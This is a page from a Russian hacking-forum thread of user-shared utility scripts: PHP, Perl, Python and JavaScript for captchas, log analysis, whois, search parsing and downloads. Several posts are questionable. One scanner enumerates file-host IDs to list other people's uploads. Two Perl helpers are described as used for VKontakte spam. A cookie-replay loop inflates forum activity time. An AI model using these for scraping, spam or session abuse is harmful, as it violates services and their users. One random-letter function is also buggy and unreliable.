PDA

Просмотр полной версии : Полезные скрипты


Страницы : 1 2 [3] 4 5

D1mka
07.11.2008, 01:44
<?
set_time_limit(0);

echo "
<form method=POST>
<div align=center>
<table cellpadding=0 cellspacing=0 width=242 id=table1 height=113 border=1>
<tr>
<td valign=top><span lang=en-us>Slil.ru</span></td>
<td height=22 valign=top>
<input type=radio value=slil checked name=s></td>
</tr>
<tr>
<td valign=top><span lang=en-us>
WebFile.ru</span></td>
<td height=22 valign=top>
<input type=radio name=s value=webfile></td>
</tr>
<tr>
<td valign=top><span lang=en-us>
Ifolder.ru</span></td>
<td height=22 valign=top>
<input type=radio name=s value=ifolder></td>
</tr>

<tr>
<td valign=top><span lang=en-us>
DepositFiles.com</span></td>
<td height=22 valign=top>
<input type=radio name=s value=depositfiles></td>
</tr>
<tr>
<td valign=top>Сканить </td>
<td height=22 valign=top>С&nbsp;&nbsp;<input type=text name=ot size=7> <br>До<input type=text name=do size=7></td>
</tr>
<tr>
<td>&nbsp;</td>
<td height=25 valign=top>
<input type=submit value=Скан name=B1></td>
</tr>
<tr>
<td width=87>&nbsp;</td>
<td height=22 valign=top width=155>&nbsp;</td>
</tr>
</table>
</div>
</form>
<hr>
";
echo "$s<br><br>";

if($ot=="" || $do==""){exit();}

if($s=="webfile"){
$c = "1573042";
ob_flush();
flush();
for($i=$ot;$i<$do;$i++) {
$url = "http://webfile.ru/$i";
$html=file_get_contents("$url");
preg_match("/\<font size=\"\+1\"\>\<b\>(.*?)\<\/b\>\<\/font\>/si", $html, $text);
$fn=strip_tags($text[1],"");
$fn = str_replace("","",$fn);
ob_flush();
flush();
if($fn==""){$fn="Eroor";}
echo "[<a target=_blank href=http://webfile.ru/$i>$i</a>:$fn]<br>\n\r";
ob_flush();
flush();
}
}

if($s=="slil"){
$c = "25034857";
for($i=$ot;$i<$do;$i++) {
$url = "http://slil.ru/$i";
$html=file_get_contents("$url");
preg_match("/Спасибо всем, кто помогает развивать ресурс(.*?)\закачка файла/si", $html, $text);
$fn=strip_tags($text[1],"");
$fn = str_replace("","",$fn);
ob_flush();
flush();
echo "[<a target=_blank href=http://slil.ru/$i>$i</a>:$fn]<br>\n\r";
ob_flush();
flush();
}
}

if($s=="ifolder"){
for($i=$ot;$i<$do;$i++) {
$url = "http://ifolder.ru/$i";
$html=file_get_contents("$url");
preg_match("/\Название(.*?)\<\/b\>\<br\>/si", $html, $text);
//print_r($text);
$fn=strip_tags($text[1],"");
ob_flush();
flush();
echo "[$i:$fn]<br>";
ob_flush();
flush();
}
}

if($s=="depositfiles"){
for($i=$ot;$i<$do;$i++) {
$url = "http://depositfiles.com/ru/files/$i";
$html=file_get_contents("$url");
preg_match("/\Имя Файла: \<b title=\"(.*?)\"\>/si", $html, $text);
$fn=strip_tags($text[1],"");
$fn = str_replace("","",$fn);
ob_flush();
flush();

if($fn==""){$fn="Eroor";}
echo "[<a target=_blank href=$url>$i</a>:$fn]<br>\n\r";

}
}

?>

Ru}{eeZ
13.11.2008, 14:39
Функция, генерирующая случайные буквы или цифры с заданным количеством символов.
Первый параметр функции gen() - количество символов, второй - буквы(1)/цифры(2).


<?php

gen(3,1);

function gen($num, $vari) {

for($i = 0; $i < $num; $i++) {
switch($vari) {
case 1:
$abc = array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z');
echo $abc[mt_rand(0,9)];
break;
case 2:
echo mt_rand(0,9);
break;
}}}

?>

heretic1990
15.11.2008, 22:59
скрипт показывает Координаты мыши

<form name="Show">
X <input type="text" name="MouseX" value="0" size="4"><br>
Y <input type="text" name="MouseY" value="0" size="4"><br>
</form>

<script language="JavaScript1.2">
<!-- Original: CodeLifter.com (support@codelifter.com) -->
<!-- Begin
var IE = document.all?true:false;
if (!IE) document.captureEvents(Event.MOUSEMOVE)
document.onmousemove = getMouseXY;
var tempX = 0;
var tempY = 0;
function getMouseXY(e) {
if (IE) { // grab the x-y pos.s if browser is IE
tempX = event.clientX + document.body.scrollLeft;
tempY = event.clientY + document.body.scrollTop;
}
else { // grab the x-y pos.s if browser is NS
tempX = e.pageX;
tempY = e.pageY;
}
if (tempX < 0){tempX = 0;}
if (tempY < 0){tempY = 0;}
document.Show.MouseX.value = tempX;
document.Show.MouseY.value = tempY;
return true;
}
// End -->
</script>

rushter
18.11.2008, 00:43
Пример 3d капчи..
<?
$capthca = new Capthca3d();
$capthca->render();

class Capthca3d{
const CHARS = 'WEafRTYIPAGHJKXBNM3479j';
protected $hypot = 8;
protected $image = null;

protected $text = 'achat';

public function __construct()
{
$this->time = microtime(true);
$this->generateCode();

}
protected function generateCode()
{
$chars = self::CHARS;
for($i =0; $i<5; $i++){
$this->text .= $chars{ mt_rand(0,22)};
}
}

public function getText()
{
return $this->text;
}
protected function getProection($x1,$y1,$z1)
{
$x = $x1 * $this->hypot;
$y = $z1 * $this->hypot;
$z = -$y1 * $this->hypot;

$xx = 0.707106781187;
$xy = 0;
$xz = -0.707106781187;

$yx = 0.408248290464;
$yy = 0.816496580928;
$yz = 0.408248290464;

$cx = $xx*$x + $xy*$y + $xz*$z;
$cy = $yx*$x + $yy*$y + $yz*$z+ 20 * $this->hypot;
return array(
'x' => $cx,
'y' => $cy
);
}

function zFunction($x,$y){
$z = imagecolorat($this->image,$y/2,$x/2)>0?2.6:0;
if( $z != 0 ){
$z += mt_rand(0,60)/100;
}
$z += 1.4 * sin(($x+$this->startX)*3.141592654/15)*sin(($y+$this->startY)*3.141592654/15);
return $z;
}
public function render()
{
$xx =30;
$yy =60;

$this->image = imageCreateTrueColor($yy * $this->hypot , $xx * $this->hypot);

$whiteColor = imageColorAllocate($this->image,255,255,255);
imageFilledRectangle($this->image,0,0,$yy * $this->hypot , $xx * $this->hypot,$whiteColor);

$textColor = imageColorAllocate($this->image,0,0,0);
imageString($this->image, 5, 3, 0, $this->text, $textColor);


$this->startX = mt_rand(0,$xx);
$this->startY = mt_rand(0,$yy);

$coordinates = array();

for($x = 0; $x < $xx + 1; $x++){
for($y = 0; $y < $yy + 1; $y++){
$coordinates[$x][$y] = $this->getProection($x,$y,$this->zFunction($x,$y));
}
}

for($x = 0; $x < $xx; $x++){
for($y = 0; $y < $yy; $y++){
$coord = array();
$coord[] = $coordinates[$x][$y]['x'];
$coord[] = $coordinates[$x][$y]['y'];

$coord[] = $coordinates[$x+1][$y]['x'];
$coord[] = $coordinates[$x+1][$y]['y'];

$coord[] = $coordinates[$x+1][$y+1]['x'];
$coord[] = $coordinates[$x+1][$y+1]['y'];

$coord[] = $coordinates[$x][$y+1]['x'];
$coord[] = $coordinates[$x][$y+1]['y'];

$c = (int) ($this->zFunction($x,$y)*32);
$linesColor = imageColorAllocate($this->image, $c, $c, $c);
imageFilledPolygon($this->image, $coord, 4, $whiteColor);
imagePolygon($this->image, $coord, 4, $linesColor);
}
}

$textColor = imageColorAllocate($this->image,0,0,0);
imageString($this->image, 5, 3, 0, $this->text, $whiteColor);
imageString($this->image, 1, 3, 0, (microtime(true)-$this->time), $textColor);
header('Content-Type: image/png');

imagepng($this->image);
imagedestroy($this->image);
}
}
?>
KAndy(С)
http://img.pixs.ru/images/newpng_6339666_112330.png (http://pixs.ru/?ref=112330)

rushter
19.11.2008, 15:27
Анализатор логов PHP-на-Apache
Иногда бывает полезен..
#!/usr/local/bin/php
<?php

//Jenkins 0.2a - a php-on-apache log analyzer
//by coldFlame [http://coldflame.in.ua]
//Feel free to send comments or suggestions to [me@coldflame.in.ua]
//Feel free to modify the script to suit your personal needs.
//Do not redistribute the script in any form.
//
//Crontab line to run Jenkins daily, rotate logs, and send a report to your morning mail:
//05 00 * * * www ~/scripts/jenkins.php -mme@coldflame.in.ua -r/var/log/apache2/*.error.log


//Usage: jenkins.php <errorlog> <errorlog> ...
//options: -m<email_address> emails the log instead of displaying it
// -r<file_mask> emails the log instead of displaying it
$log_files = array();

for ($i = 1; $i < $_SERVER['argc']; ++$i) {
if ($_SERVER['argv'][$i][0] == '-') {
$code = $_SERVER['argv'][$i][1];
$value = substr($_SERVER['argv'][$i],2);

switch($code) {
case 'm':
$mailto = $value;
break;
case 'r':
$rotatelogmask = $value;
break;
default:
echo "Unrecognized parameter: -$code\n";
die;
}
} else {
$log_files[] = $_SERVER['argv'][$i];
}
}

if (isset($rotatelogmask)) {

$glob = glob($rotatelogmask);

//rotate logs
foreach ($glob as $filename) {
$filename = strval($filename);
if (is_file($filename)) {
$new_log_filename = $filename.'.j';
if (is_file($new_log_filename)) {
unlink($new_log_filename);
}

rename($filename, $new_log_filename);
$log_files[] = $new_log_filename;
}
}

//HUP the apache server
$pid = intval(trim(file_get_contents('/var/run/httpd.pid')));
posix_kill($pid, 1);
}

if (empty($log_files)) {
echo "Usage: jenkins.php <log_file> <log_file> ...\n";
echo " -m<email> - send report to <email> instead of displaying it\n";
echo " -r<file_mask> - rotate logs and sighup apache";
die;
}

if (isset($mailto)) {
ob_start();
}

foreach ($log_files as $log_filename) {

$log_file = fopen($log_filename,'r');

$error_times = array();
$error_counts = array();

$total_count = 0;
$php_count = 0;
$unique_count = 0;

while ($line = trim(fgets($log_file))) {
++$total_count;
if (preg_match('@^\[([^\]]+)] \[[^\]]+] \[[^\]]+] PHP ([^:]+): (.+) in (.+) on line (\d+)(, referer: (.+)|)$@',$line,$matches)) {
//it's a php error message
++$php_count;

$error_msg = trim($matches[2]) . "\n" . trim($matches[3]) . "\n" . trim($matches[4]) . "\n" . trim($matches[5]);
$error_times[$error_msg] = date('d.m.y H:i',strtotime( $matches[1] ));
if (!isset($error_counts[$error_msg])) {
$error_counts[$error_msg] = 1;
} else {
++$error_counts[$error_msg];
}
}

}

fclose($log_file);

arsort($error_counts);

$error_messages = array_keys( $error_counts );

$unique_count = count($error_messages);

?>
<h1>Jenkins report for <?php echo htmlspecialchars($log_filename);?></h1>
Total lines in log: <b><?php echo $total_count?></b><br>
Lines recognized as PHP errors: <b><?php echo $php_count?></b><br>
Unique PHP error messages: <b><?php echo $unique_count?></b><br>

<?php if ($unique_count == 0) { ?>
Hooray, no errors!<br>
<?php } else { ?>
<h2>Error messages</h2>
<?php foreach ($error_messages as $message) {
$count = $error_counts[$message];
$time = $error_times[$message];

$message = explode("\n",$message);

$colors = array(
'Notice' => '#4a6d00',
'Error' => '#ff9c00',
'Warning' => '#dace48',
'Fatal error' => '#cb0808'
);

$message_color = isset($colors[$message[0]]) ? $colors[$message[0]] : '#000000';

?>
<span style="color:<?php echo $message_color ?>"><b><?php echo htmlspecialchars($message[0]); ?>:</b></span>
<?php echo htmlspecialchars($message[1]); ?>
<code>[<?php echo htmlspecialchars($message[2]); ?>:<?php echo htmlspecialchars($message[3]); ?>]</code>
<span style="color:#aaaaaa">(<?php echo $count;?>#
@<?php echo $time; ?>)</span><br>
<?php }
}
}
?>
<hr>
Report generated at <?php echo date('r'); ?><br>
<a href="http://coldflame.in.ua/jenkins">Jenkins</a> 0.2a - an PHP-on-Apache error log analyzer<br>
&copy; 2008 <a href="http://coldflame.in.ua">coldFlame</a>
<?php

if (isset($mailto)) {
$contents = ob_get_contents();
ob_end_clean();

$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=utf-8' . "\r\n";
mail($mailto, 'Jenkins analyzer report for '.date('d.m.Y'), $contents, $headers);
}

?>
Закачка ролика на ruTube с использованием cURL
if (move_uploaded_file($_FILES['data']['tmp_name'], $fname))
{
$array_var = array('save' => 'y',
'rt_mode' => 'do_upload',
'rt_developer_key' => $rt_developer_key,
'rt_redirect_ok' => 'http://'.$_SERVER['SERVER_NAME'].'/upload.html?redirect=ok',
'rt_redirect_error' => 'http://'.$_SERVER['SERVER_NAME'].'/upload.html?redirect=error',
'rt_auto_publish' => $auto_publish,
'rt_user' => '',
'rt_sign' => '',
'rt_enc' => 'UTF-8',
'referer' => 'http://'.$_SERVER['SERVER_NAME'].'/upload.html',
'title' => $name,
'rt_tags' => $tags,
'comment' => $description,
'category' => $rutube_cat,
'data'=> '@'.$fname
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://uploader.rutube.ru/cgi-bin/jsapi.cgi");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $array_var);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$response = curl_exec($ch);
curl_close($ch);

if ($response)
{
$response = split("\r\n\r\n", $response);
$response = trim(preg_replace('/.*Location:.*redirect=(\S*).*/i', '$1', strtr($response[0],array("\n" =>' ', "\r" => ' '))));

if (strpos($response, 'error') === false)
{
//ролик успешно загружен на rutube
$response = preg_replace('/.*rt_movie_id=(.*)/i', '$1', $response); //полученный временный id
$sql->Query('INSERT INTO movie SET category_id='.$category.',name="'.SQL_STR.'",description="'.SQL_STR.'",date='.time().', author = "'.SQL_STR.'",user_id='.$user['id'].',status=1,rutube_id="'.SQL_STR.'", tags="'.SQL_STR.'"', $name, $description, $author, $response, $tags);

header('Location: http://'.$_SERVER['SERVER_NAME'].'/upload.html?successful');
}
}
}

heretic1990
19.11.2008, 21:35
Скрипт для проверки Информации о IP используя whois
infoip.php
<?
if (!isset($_POST['submit']))
{
?>
<html>
<head>
<title>Информация о IP</title>
</head>
<body>
<center>
<H4>Информация об IP-адресе</H4>
<FORM action=infoip.php method=post>
<INPUT type=text name=ip size=35>
<input type=submit name = submit value = 'Проверить'>
</form>
</center>

<?
}
else
{
if ($_POST['ip']!= "")
{
$sock = fsockopen ("whois.ripe.net",43,$errno,$errstr);

if (!$sock) {
echo("$errno($errstr)");
return;
}
else {
fputs ($sock, $_POST['ip']."\r\n");

while (!feof($sock)) {
echo (str_replace(":",": ",fgets ($sock,128))."<br>");
}
}
fclose ($sock);
}

}
?>

geforce
22.11.2008, 00:35
У кого есть скрипт как вот здеся http://avatka.ru/??? Или где моно взять?

rushter
25.11.2008, 17:45
учи gd2

[dei]
26.11.2008, 20:47
пара перл скриптов, использовались при спаме vконтактe.

Удаление повторяющихся строк
#!/usr/bin/perl -w
# Удаление повторяющихся строк
# by [dei]
############ Config #############
$file = 'acs.txt';
#############################

open(F1,"< $file");

@lines = <F1>;
close F1;

for($i=0;$i<@lines;$i++) {
for($i2=$i+1;$i2<@lines;$i2++) {
if($lines[$i] eq $lines[$i2]) { splice @lines, $i2, 1; }
}
}

open(F2,"> $file");
print F2 join('',@lines);
close F2;



Разбивка одного файла на равные мелкие файлы
#!/usr/bin/perl -w
# Разбивка файла на мелкие
# by [dei]
############ Config #############
$file = 'groups.txt';
$newname = 'groups.txt';#к имени прибавляется порядковый номер
$count = 10;
#############################
use POSIX qw(ceil);

open(FF,"< $file");

@lines = <FF>;
close FF;

$x = ceil(($#lines+1)/$count);

for($i=1;$i<=$count;$i++){
$newname =~ s/([0-9]*|)\.txt/$i\.txt/;

$f = F.$i;
open($f,"> $newname");

$n1 = $i * $x - $x;
if($i==$count) { $n2 = $#lines+1; }
else { $n2 = $i * $x; }

for($i2=$n1;$i2<$n2;$i2++) {
print $f $lines[$i2];
}
}

Tigger
26.11.2008, 21:03
[dei], написал бы для чего какой скрипт!

rushter
26.11.2008, 21:05
Tigger а ты коментарии читать не умеешь ?

heretic1990
30.11.2008, 19:04
Генератор статуса skype

skype.php

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Генератор статуса skype</title>
</head>
<body>


<form action="skype.php" method="post">

<input name="skype" type="text" value="Введите ник" />
<input name="submit" type="submit" value="Получить код" />
</form>

<?
if (isset ($skype))
{
echo "&lt;script type=&quot;text/javascript&quot; src=&quot;http://download.skype.com/share/skypebuttons/js/skypeCheck.js&quot;&gt; &lt;/script&gt;
&lt;a href=&quot;skype:";
echo $skype;
echo "?chat&quot;&gt;&lt;img src=&quot;http://mystatus.skype.com/smallicon/";
echo $skype;
echo "&quot; style=&quot;border: none;&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Мой статус в Skype&quot; /&gt;";
}
?>

</body>
</html>

Architek86
30.11.2008, 23:29
Может, у кого то есть парсер virustotal.com?
Необходимо скриптом сайта mysite.ru с его же сервера отправлять файл вирустоталу, после чего выводить результат на mysite.ru.. народ, такое реально???

Tigger
01.12.2008, 00:10
Tigger а ты коментарии читать не умеешь ?
И правда! не заметил =)
А вот в таком тоне со мной разговаривать не обязательно!!!

DIAgen
01.12.2008, 01:29
Может, у кого то есть парсер virustotal.com?
Необходимо скриптом сайта mysite.ru с его же сервера отправлять файл вирустоталу, после чего выводить результат на mysite.ru.. народ, такое реально???
Папа а люди есть?
Такое реально сделать, сначало загружаешь к себе на хост файл для проверки, потом через CURL заливаешь
на virustotal.com, парсишь. Только там надо будет еще повозиться что бы снять результат, там через аякс сделано, с часик посидеть и будет все. Удачи в начинаниях (:

Chaak
03.12.2008, 18:15
Простенький парсер яндекс серча.

Создаем новый объект -> setQuery('текст для поиска в утф-8', 'страница(0- по умолчанию)', 'сортировать результаты - yes/no');
$yd->ydSend(); //отправляем все

В методе parse останется массив $resarr с результатами поиска.


<?php

/**
* @name Yandex Xml parser
* @author Chaak
*/


class yaXML
{
private $query = '';
private $page = 0;
private $sort = 'yes';
private $xml = '';
private $result = '';
private $parsed = array();


/**
* Отправляет заголовки на сервер
* @param лень писать, рука отвалится :)
*/
private function socket_do($action,$method,$header = false,$timeout = 10,$params = false,$follow = false,$cookie = false,$referer = false)
{
$ch = curl_init();
if(strtoupper($method) == 'GET')
{
$action .= '?'.$params;
curl_setopt($ch,CURLOPT_URL,$action);
curl_setopt($ch,CURLOPT_HTTPGET,1);
} elseif(strtoupper($method) == 'POST')
{
curl_setopt($ch,CURLOPT_URL,$action);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$params);
}
else
{
curl_setopt($ch,CURLOPT_URL,$action);
}

if(@$this->proxy)
{
curl_setopt($ch,CURLOPT_PROXY,$proxy);
}

curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,$follow);
curl_setopt($ch,CURLOPT_FAILONERROR,false);
curl_setopt($ch,CURLOPT_HEADER,$header);
curl_setopt($ch,CURLOPT_USERAGENT,'Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
curl_setopt($ch,CURLOPT_REFERER,$referer);
curl_setopt($ch,CURLOPT_COOKIE,$cookie);
curl_setopt($ch,CURLOPT_TIMEOUT,$timeout);
$done = curl_exec($ch);
curl_close($ch);
return $done;
}

/**
* Подготавливает запрос
* @access private
* @return void
*/
private function prepareQuery()
{
$this->query = htmlspecialchars(stripslashes(substr($this->query,0,150)));
$this->page = (int)$this->page;
$this->sort = ((strtolower($this->sort) != 'yes') && (strtolower($this->sort) != 'no'))?('yes'):($this->sort);
$this->xml = '<request><query>'.$this->query.'</query><page>'.$this->page.'</page><sort priority="'.$this->sort.'" /></request>';
}

/**
* Функция отправки данных на ЯД
* @access private
* @return void
*/
private function sendXMLData()
{
if(!$this->result = $this->socket_do('http://xmlsearch.yandex.ru/xmlsearch/','post',0,15,$this->xml,1))
{
die('Ошибка соединения');
}
}

/**
* Парсит запрос
* @return void
*/
private function parse()
{
if($this->result)
{
//парсим урлы
preg_match_all('#<url>(.*?)</url>#i',$this->result,$urls);
$urls = array_unique($urls['1']);
//парсим титлы
preg_match_all('#<title>(.*?)</title>#i',$this->result,$titles);
$titles = $titles['1'];
//парсим примеры текстов
preg_match_all('#<passage>(.*?)</passage>#i',$this->result,$passage);
$passage = $passage['1'];

if($urls)
{
$resarr = array();

for($i = 0,$c = sizeof($urls); $i < $c; $i++)
{
$resarr[$i] = array('title' => strip_tags($titles[$i]),'passage' => strip_tags($passage[$i]),'url' => $urls[$i]);
}
echo '<pre>';
print_r($resarr);
echo '</pre>';
}
else
{
echo $this->result;
}
}
else
{
die('Запрос вернул пустое значение');
}
}

/**
* Устанавливает неободимые параметры
* @param (string)query - запрос, (int)page - страница, (string) sort - сортировать?
* @access private
* @return bool
*/
public function setQuery($query,$page = 0,$sort = 'yes')
{
$this->query = $query;
$this->page = $page;
$this->sort = $sort;
}

/**
* No comments
*/
public function ydSend()
{
$this->prepareQuery();
$this->sendXMLData();
$this->parse();
}
}


$yd = new yaXML();
$yd->setQuery(urldecode(iconv('windows-1251','utf-8',$_GET['text'])),$_GET['page'],$_GET['sort']);
$yd->ydSend();

?>

t00th
07.12.2008, 13:54
Не знаю как у вас, а у меня файлы и сами торрент файлы хранятся в одной папке и часто удаляю я файлы просто shift+delete поэтому мусорка за 10 месяцев набралась просто страшная, собственно написал скрипт который удаляет торрент файл если не найден файл

#!/usr/bin/python2.5
import os
import re

def read_f(path):
data = open(path, "r").read()
num = re.search(":name(\d+)", data).group(1)
name = re.search(":name(\d+):(.{%s})" % num, data).group(2)
return name

path = 'C:\\Torrents\\'
files = [(file) for file in os.listdir(path) if file.endswith('.torrent')]
for file in files:
name = read_f(path+file)
if not os.path.exists(path+name):
os.remove(path+file)

heretic1990
07.12.2008, 14:16
Защита "ящика" от роботов
Простейший способ защиты своего E-mail от роботов, которые шарят по сайтам и ВОРУЮТ почтовые адреса для спаммеров. Адрес, записанный JavaScript кодом абсолютно пригоден для посетителей и столь же затруднителен в добывании для роботов.

<SCRIPT LANGUAGE="JavaScript">

<!-- Original: CDR Software -->
<!-- Web Site: http://www.cdrsoft.com -->

<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->

<!-- Begin
user = "eugenezz";
site = "yandex.ru";

document.write('<a href=\"mailto:' + user + '@' + site + '\">');
document.write(user + '@' + site + '</a>');
// End -->
</SCRIPT>

vikseriq
07.12.2008, 23:01
Сорри, но это уже прошлый век - не прокатит. На собственной шкуре знаю. Там обычно или анализ кода ("user + '@' + site" -> гребем переменные), или уже парсинг страницы с выполненным js ( в ][ даже статья была, как это сделать )

heretic1990
07.12.2008, 23:30
и столь же затруднителен в добывании для роботов.
vikseriq а я и не говорил что на 100% поможет от ботов!

а если так???

<script language="javascript" type="text/javascript" src="script.js"></script>

Для указания e-mail

<script language="javascript" type="text/javascript"> maillink("address","mail","ru"); </script>


script.js

function maillink(mailprefix, maildomain, mailsuffix, mailname)
{
if (mailname == null) { mailname = "address@mail.ru"; }

document.write('<a href="mailto:' + mailprefix + '%40' + maildomain + '.' + mailsuffix + '">' + mailname + '</a>');
}

heretic1990
07.12.2008, 23:42
А ваще лучше так защитить: с помощью размещения текста на изображении.

img_contacts.php
<?
// Строка с e-mail адресом
$email="E-mail: user@site.ru";
// Строка с ICQ
$icq="ICQ: 123456";
// Создаем изображение с помощью библиотеки GD шириной 200 и высотой 30 пикселей
$im = imagecreate(200, 30);
// Задаем белый цвет (для фона)
$bg = imagecolorallocate($im, 255, 255, 255);
// Задаем черный цвет для шрифта
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);
// Задаем размер шрифта
$size=4;
// Делаем белый цвет прозрачным
imagecolortransparent($im,$bg);
// Наносим надписи на изображение
imagestring($im,$size,0,0,$email,$black);
imagestring($im,$size,0,15,$icq,$black);
// Посылаем браузере заголовок о выводе изображения
header('Content-type: image/png');
// Выводим изображение в формате PNG
imagepng($im);
?>

Вывод инфы:
<img src='img_contacts.php' border='0' alt='Информация'>

Pashkela
11.12.2008, 00:42
С описанием к каждой фотке (картинке) в отдельно открывающемся окне (если нажать на картинку):

Создаем четыре файла:

1. zakat1.jpg
2. zakat2.jpg
3. fail1.txt (Здесь описание картинки zakat1.jpg)
4. fail2.txt (Здесь описание картинки zakat1.jpg)

и такой index.html:

Код:

<html>
<head>
<title>Дополнительное окно с кнопкой ОТКРЫТЬ на странице и кнопкой ЗАКРЫТЬ в окне</title>
<SCRIPT language="JavaScript">
function openwindow(i)
{
windop=window.open("fail.txt","mywindow","menubar=1,resizable=1,width=350,height=250");
windop.document.open();
windop.document.write("<html><head><title>Название странички</title>");
windop.document.write("</head><bоdу bgcolor=#FFFFCC>");
windop.document.write("<center><font face= serif,Arial,Verdana size=3 color=#000000><b>Заголовок текста на страничке</b></font></center>");
windop.document.write("<iframe src='fail"+i+".txt'></iframe>");
windop.document.write("<center><form><input type='button' value='Закрыть' onClick='window.close()'></form></center>");
windop.document.write("</bоdу></html>");
windop.document.close();
}
</SCRIPT></head>
<bоdу>
<SCRIPT language="JavaScript">

for (var i = 1; i <= 2; i++)
{
document.write(i);
document.write("<FORM ACTION=\"javascript:openwindow("+i+")\"><INPUT TYPE=IMAGE SRC=\"zakat"+i+".jpg\" HEIGHT=76 WIDTH=62 ALT=\"Yes\" BORDER=0 NAME=\"Yes\" ></form> ");
}</SCRIPT>
</bоdу>
</html>


Пихаем это всё в одну папку и запускаем index.html

(c) Pashkela

De-visible
11.12.2008, 01:10
IP [reverse] Script v 0.1

[Архив]
В архиве два файла:
1)IpTool.py - сам скрипт
2)result.txt - сюда записываются результаты

[Описание]

Скрипт определяет сколько сайтов расположено на одном сервере.
Результаты выводит на экран, и записывает(каждый раз дописывает) в файл [result.txt] результат.
Написан на питоне, юзаем))


[Скрипт]

# -*- coding: cp1251 -*-
#antichat.ru
#author De-visible[ICQ#:22-3333-575]

import urllib,re

global site
global ipURL

def AboutScript():
print """
###############About################
# #
# [Reverse IP]Script v 0.1 #
# #
#___c0ded by De-visible____________#
#___GreetZ to antichat.ru__________#
#___ICQ: 22-3333-575_______________#
#___special for antichat's users___#
#___(c)2008________________________#
####################################
"""

def SaveToFile(writebuf):
f=open("result.txt",'a')
f.write("\n\n")
f.write("site: "+site+" ["+ipURL+"?ip="+site+"]: \n")
f.write("----------------------\n")
for i in writebuf:
f.write(i+"\n")
f.write("\n----------------------")
f.close

def Trace(text_):
print "\n\n"
print "site: "+site+" ["+ipURL+"?ip="+site+"]: "
print "----------------------\n"
for i in text_:
print " "+i
print "----------------------\n"
print "\n\n ::: process completed ::: "

def GetIP():
data={"ip": site}
send_data = urllib.urlencode(data)
ipLog=urllib.urlopen(ipURL+"?"+send_data)
text_=ipLog.read()
txt_=re.findall(r"(www.*?)<\/li>",text_)
Trace(txt_)
SaveToFile(txt_)
def Readln():
while 1:
pass

AboutScript()

site="yandex.ru"#Сюда вписываем сайт
ipURL="http://2ip.ru/server.php"#Это не трогаем:)
GetIP()
#Readln()#Что бы консоль не исчезала сразу.
#----------------

[Download]


http://rapidshare.com/files/172182987/IP_reverse_.rar.html

Solker
11.12.2008, 03:34
Поднятие времени проведенного за чтением форума, ака увлечение значения «Провел на форуме».


Files:
- ach_cookie.txt Файл в котором хранятся наши Куки от форума Antichat.
Как получить?
Заходим на форум (http://forum.antichat.ru/), и в адресной строке браузера пишем:
javascript:document.write(document.cookie)
Содержмивое копируем в ach_cookie.txt. Сохраняем, забываем.

- ach_log.txt Лог скрипта, ака файл благодаря которому мы можем убедиться, что скрипт весит в фоновом режиме и даже работает. В лог записывается время последней удачной отправки GET на форум.

- ach_run.php и собственно сам скрипт, который выполняет отправку GET запроса с нашими кукисами, каждые n минут. Запускаем - нас кидает на гугл. А скрипт начинает работу. Или сами закрываем страницу.
И логами время от времени проверяем работоспособность.

<?php

ignore_user_abort(true);
set_time_limit(false);

function doSomthing()
{
$cookie = file_get_contents("ach_cookie.txt");

$sock = fsockopen("forum.antichat.ru", 80, $errno, $errstr, 30);
if(!$sock) return false;
else {
$headers = "GET /index.php HTTP/1.1\r\n";
$headers .= "Host: forum.antichat.ru\r\n";
$headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\r\n";
$headers .= "Cookie: $cookie\r\n";
$headers .= "Connection: Keep-Alive\r\n\r\n";

fwrite($sock, $headers);

if(strpos(fgets($sock, 20),'200 OK')) return true;
else return false;

fclose($sock);
}
}

if(ob_get_level() == 0)
ob_start();

header("Location: http://www.google.ru/");
ob_flush();
flush();

while(true)
{
ob_flush();
flush();

if(doSomthing()) {
file_put_contents("ach_log.txt",date("j M H:i"));
sleep(60*5);
}
else break;

}
ob_end_flush();
?>

.:EnoT:.
11.12.2008, 16:06
Нашёл на компе скрипт, когда-то писал...щас подправил немного, хз зачем выложил, пусть валяется, можт пригодится кому ))

<?php
/*
Скрипт для скачивания видео с Video.mail.ru
by EnoT
*/

$link = !empty($_POST['link']) ? $_POST['link'] : '';

if($link){

$link = str_ireplace('www.', '', $link);
$link = stripos($link, 'http://') === false ? 'http://'.$link : $link;

if(preg_match('#^http://video\.mail\.ru/(mail|bk|list|inbox)/([a-z0-9-_\.]{1,16})/([0-9]+)/([0-9]+)\.html.*$#i', $link, $out)){

$download = 'http://video.mail.ru/'.$out[1].'/'.$out[2].'/'.$out[3].'/v-'.$out[4].'.flv';
header('HTTP/1.1 200 Ok');
header('Content-Type: video/x-flv');
header('Content-Disposition: attachment; filename="'.$out[4].'";');
die(readfile($download));

}else{

echo '<br/>Неверный формат ссылки<br/>';
}

}
?>
<html></body><center><h3>Скачать видео с mail.ru </h3><br/>
введите ссылку:
<form action="" method="post">
<input name="link" type="text" size="70" value="http://" />
<input type="submit" value="Скачать" />
</form>
</center></body></html>

Tigger
11.12.2008, 16:18
Enot, полезный скрипт)) А для закаччки фоток c mail.ru есть скриптик))?

presidentua
12.12.2008, 02:51
скрипт на Питоне для многопоточного чека Соксов5

-------------------
Run as:
roastest.py input.file output.file count_theard site_test timeout
Example:
roastest.py input.txt output.txt 5 ya.ru 10
- эт в линуксе.

Для работы нужна библиотека pycurl
-----------------

#!/usr/bin/python

try:
import sys
except:
print 'error load library - sys'
try:
import thread
except:
print 'error load library - thread'
try:
import StringIO
except:
print 'error load library - StringIO'
try:
